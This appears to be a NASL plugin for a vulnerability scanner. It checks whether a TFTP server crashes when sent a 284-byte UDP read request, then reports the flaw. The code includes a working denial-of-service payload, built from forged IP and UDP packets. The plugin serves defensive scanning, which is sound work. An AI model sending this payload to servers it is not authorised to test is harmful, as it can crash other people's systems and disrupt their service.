TFTPD small overflow

# SPDX-FileCopyrightText: 2005 Josh Zlatin-Amishav
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

# This plugin is just a very slightly modified version of tftpd_overflow.nasl

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.18493");
  script_version("2023-08-01T13:29:10+0000");
  script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/13908");
  script_name("TFTPD small overflow");
  script_category(ACT_KILL_HOST);
  script_copyright("Copyright (C) 2005 Josh Zlatin-Amishav");
  script_family("Gain a shell remotely");
  script_dependencies("tftpd_detect.nasl", "global_settings.nasl");
  script_require_udp_ports("Services/udp/tftp", 69);
  script_mandatory_keys("tftp/detected");
  script_exclude_keys("keys/TARGET_IS_IPV6");

  script_tag(name:"solution", value:"Upgrade your software, or disable this service.");

  script_tag(name:"summary", value:"The remote TFTP server dies when it receives a small UDP datagram.");

  script_tag(name:"impact", value:"A malicious user may use this flaw to disable your server.");

  script_tag(name:"insight", value:"The remote device freezes or reboots when a UDP datagram of 284 bytes in length
  is sent to the TFTP server.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_probe");

  exit(0);
}

include("misc_func.inc");
include("port_service_func.inc");

if(TARGET_IS_IPV6())
  exit(0);

# This function cannot yet send UDP packets bigger than the MTU
function tftp_ping(port, huge)
{
  local_var req, rep, sport, ip, u, filter, data, i;

  if(huge) {
    req = '\x00\x01' + crap(huge) + '\0netascii\0';
  } else {
    vtstrings = get_vt_strings();
    req = '\x00\x01' + vtstrings["default"] + rand() + '\0netascii\0';
  }

  sport = rand() % 64512 + 1024;
  ip = forge_ip_packet(ip_hl:5, ip_v:4,  ip_tos:0,
                       ip_len:20, ip_off:0, ip_ttl:64, ip_p:IPPROTO_UDP,
                       ip_src:this_host());

  u = forge_udp_packet(ip:ip, uh_sport:sport, uh_dport:port, uh_ulen:8 + strlen(req), data:req);

  filter = 'udp and dst port ' + sport + ' and src host ' + get_host_ip() + ' and udp[8:1]=0x00';

  data = NULL;
  for (i = 0; i < 2; i++) {
    rep = send_packet(u, pcap_active:TRUE, pcap_filter:filter);
    if(rep) {
      data = get_udp_element(udp: rep, element:"data");
      if (data[0] == '\0' && (data[1] == '\x03' || data[1] == '\x05')) {
        return TRUE;
      }
    }
  }
  return FALSE;
}

port = service_get_port(default:69, proto:"tftp", ipproto:"udp");

if(!tftp_ping(port:port))
  exit(0);

start_denial();

tftp_ping(port:port, huge:284);

tftpalive = tftp_ping(port:port);
alive = end_denial();

if(!alive) {
  security_message(port:port, proto:"udp");
} else {
  if(!tftpalive)
    security_message(port:port, proto:"udp");
}

if(!alive || !tftpalive) {
  set_kb_item(name:"tftp/" + port + "/smalloverflow", value:TRUE);
  exit(0);
}

exit(99);